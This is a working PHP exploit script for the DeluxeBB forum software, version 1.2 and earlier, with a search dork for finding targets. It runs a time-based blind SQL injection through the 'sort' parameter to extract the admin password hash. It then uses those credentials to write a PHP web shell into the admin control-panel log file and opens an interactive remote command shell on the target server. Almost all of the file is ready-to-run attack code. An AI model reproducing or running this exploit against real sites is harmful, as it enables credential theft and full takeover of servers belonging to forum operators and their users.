deluxebb12-multi.txt

`<?php  
  
/*  
-------------------------------------------------------  
DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit  
-------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://www.deluxebb.com/  
dork.....: allintitle: powered by DeluxeBB  
  
[-] Blind SQL injection (BENCHMARK() method) in /forums.php  
  
108. if(!$sort) {  
109. $sort = 'DESC';  
110. } elseif($sort=='ASC' || $sort=='DESC') {  
111. $add .= '&sort='.$sort;  
112. }  
113.   
114. //calculating pages and navigation  
115. $current_count = 0;  
116. $tppt = $settings['tppt'];  
117.   
118. //caching censors  
119. if($settings['censors']!=0) {  
120. bbcodecache();  
121. }  
122.   
123. //forum info  
124. $rows = $db->query("SELECT COUNT(tid) FROM ".$prefix."threads WHERE (lastpostdate>='$posttime' && fid='$fid')");  
125. $nrows = $db->result($rows);  
126.   
127. $pageinfo = multipage($nrows, $page, $settings['tppf'], "forums.php?fid=$fid");  
128.   
129. include($templatefolder.'/forums_header.dtf');  
130.   
131. //get and format all threads  
132. $threads = $db->query("SELECT t.*,u.username FROM ".$prefix."threads t LEFT JOIN ".$prefix."users u ON (t.author=u.uid)   
WHERE (t.fid='$fid' && t.lastpostdate>='$posttime') ORDER BY t.pinned $sort,t.lastpostdate $sort LIMIT $pageinfo[0], $pageinfo[1]");  
  
$sort variable isn't properly sanitised, so an attacker could be inject (with MySQL >= 4.1 that  
allows subqueries) SQL code in a subquery after 'ORDER BY' statement, in the query at line 132  
  
[-] PHP injection by privilege escalation in /admincp.php  
  
29. if($settings['cplog']==1 || $logs==1) {  
30. $time = time();  
31. $dir = $settings['logpath'];  
32. @chmod($dir.'/cp.php', 0777);  
33. $string = $_COOKIE['membercookie']."|##|$ip|##|$time|##|$REQUEST_URI\n";  
34. $filehandle=@fopen($dir.'/cp.php',"a");  
35. if(!$filehandle) {  
36. message($lang_wrongfilepermission, $lang_plschmod);  
37. }  
38. @flock($filehandle, 2);  
39. @fwrite($filehandle, $string);  
40. @fclose($filehandle);  
41. }   
  
with admin credentials, an attacker could be inject PHP code into cp.php log file by $REQUEST_URI  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
  
function getmicrotime()  
{   
list($usec, $sec) = explode(" ", microtime());   
return ((float)$usec + (float)$sec);   
}  
  
function getdelay($query)  
{  
global $host, $path;  
  
$query = urlencode($query);  
$packet = "GET {$path}forums.php?fid=1&sort={$query} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$start = getmicrotime()*1000;  
http_send($host, $packet);  
$end = getmicrotime()*1000;  
  
return ($end - $start);  
}  
  
function normaldelay()  
{  
global $count, $prefix, $uid;  
  
$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF(1=0,BENCHMARK({$count},MD5(1)),0)))/*";  
$d1 = getdelay($sql);  
$d2 = getdelay($sql);  
$d3 = getdelay($sql);  
$m = ($d1 + $d2 + $d3) / 3;  
  
return (intval($m));  
}  
  
function benchmarkdelay()  
{  
global $count, $prefix, $uid;  
  
$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF(1=1,BENCHMARK({$count},MD5(1)),0)))/*";  
$d1 = getdelay($sql);  
$d2 = getdelay($sql);  
$d3 = getdelay($sql);  
$m = ($d1 + $d2 + $d3) / 3;  
  
return (intval($m));  
}  
  
function getuserinfo($uid)  
{  
global $host, $path;  
  
$packet = "GET {$path}misc.php?sub=profile&uid={$uid} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Connection: close\r\n\r\n";  
preg_match_all("/<span class=\"misctext\">(.*)<\/span>/", http_send($host, $packet), $split);  
  
return $split[1];  
}  
  
print "\n+-----------------------------------------------------------------+";  
print "\n| DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit by EgiX |";  
print "\n+-----------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path [options]\n";  
print "\nhost.......: target server (ip/hostname)";  
print "\npath.......: path to DeluxeBB directory (example: / or /deluxebb/)\n";  
print "\n-h hash....: MD5 hash of admin (to find with SQL injection)";  
print "\n-d delay...: delay for BENCHMARK() (dafault: 500000)";  
print "\n-u uid.....: id of an admin user (default: 1)";  
print "\n-t prefix..: table's prefix (default: deluxebb)\n";  
print "\nExample....: php $argv[0] localhost /deluxebb/ -d 250000 -t my_prefix";  
print "\nExample....: php $argv[0] localhost / -h 098f6bcd4621d373cade4e832627b4f6 -u 5\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
$opt = array("-h", "-d", "-u", "-t");  
$md5 = "";  
$count = "500000";  
$uid = "1";  
$prefix = "deluxebb";  
  
for ($i = 3; $i < $argc; $i++)  
{  
if ($argv[$i] == "-h") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $md5 = $argv[++$i];  
if ($argv[$i] == "-d") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $count = $argv[++$i];  
if ($argv[$i] == "-u") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $uid = $argv[++$i];  
if ($argv[$i] == "-t") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $prefix = $argv[++$i];   
}  
  
if (!strlen($md5))  
{  
print "\n[-] Testing delay time...";  
$ndelay = normaldelay();  
$adelay = $ndelay * 3;  
print "\n[-] Normal delay: {$ndelay} ms";  
$bdelay = benchmarkdelay();  
print "\n[-] Benchmark delay: {$bdelay} ms (this value must be greater then {$adelay} ms)\n";  
  
$user_info = getuserinfo($uid);  
print "\n[-] Username: {$user_info[1]}";  
if (strtolower($user_info[3]) != "head admin") die("\n\n[-] '{$user_info[1]}' is not admin!\n");  
  
$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);  
$index = 1; $md5 = "";  
print "\n[-] MD5 Hash: ";  
  
while (!strpos($md5, chr(0)))  
{  
for ($i = 0, $n = count($hash); $i <= $n; $i++)  
{  
if ($i == $n) die("\n\n[-] Exploit failed...\n");  
$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF((ORD(SUBSTR(pass,{$index},1))={$hash[$i]}),BENCHMARK({$count},MD5(1)),1)))/*";  
if (getdelay($sql) > $adelay) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }  
}  
  
$index++;  
}  
  
if (!eregi("[0-9,a-f]{32}", $md5)) die("\n\n[-] Invalid MD5 hash...\n");  
}  
else  
{  
$user_info = getuserinfo($uid);  
print "\n[-] Username: {$user_info[1]}\n[-] MD5 Hash: {$md5}";  
if (strtolower($user_info[3]) != "head admin") die("\n\n[-] '{$user_info[1]}' is not admin!\n");  
}  
  
print "\n\n[-] Trying to inject PHP code with admin credentials...\n";  
  
$code = "<?php;\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}?>";  
$packet = "GET {$path}admincp.php?{$code} HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cookie: memberid={$uid}; membercookie={$user_info[1]}; memberpw={$md5}\r\n";  
$packet.= "Connection: close\r\n\r\n";  
http_send($host, $packet);  
  
$packet = "GET {$path}logs/cp.php HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
  
if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");  
else print "[-] Shell injected! Starting it...\n";  
  
define(STDIN, fopen("php://stdin", "r"));  
  
while(1)  
{  
print "\ndeluxebb-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$packet = "GET {$path}logs/cp.php HTTP/1.0\r\n";  
$packet.= "Host: {$host}\r\n";  
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";  
$packet.= "Connection: close\r\n\r\n";  
$html = http_send($host, $packet);  
if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");  
$shell = explode("_code_", $html);  
print "\n".$shell[1];  
}  
else break;  
}  
  
?>  
  
`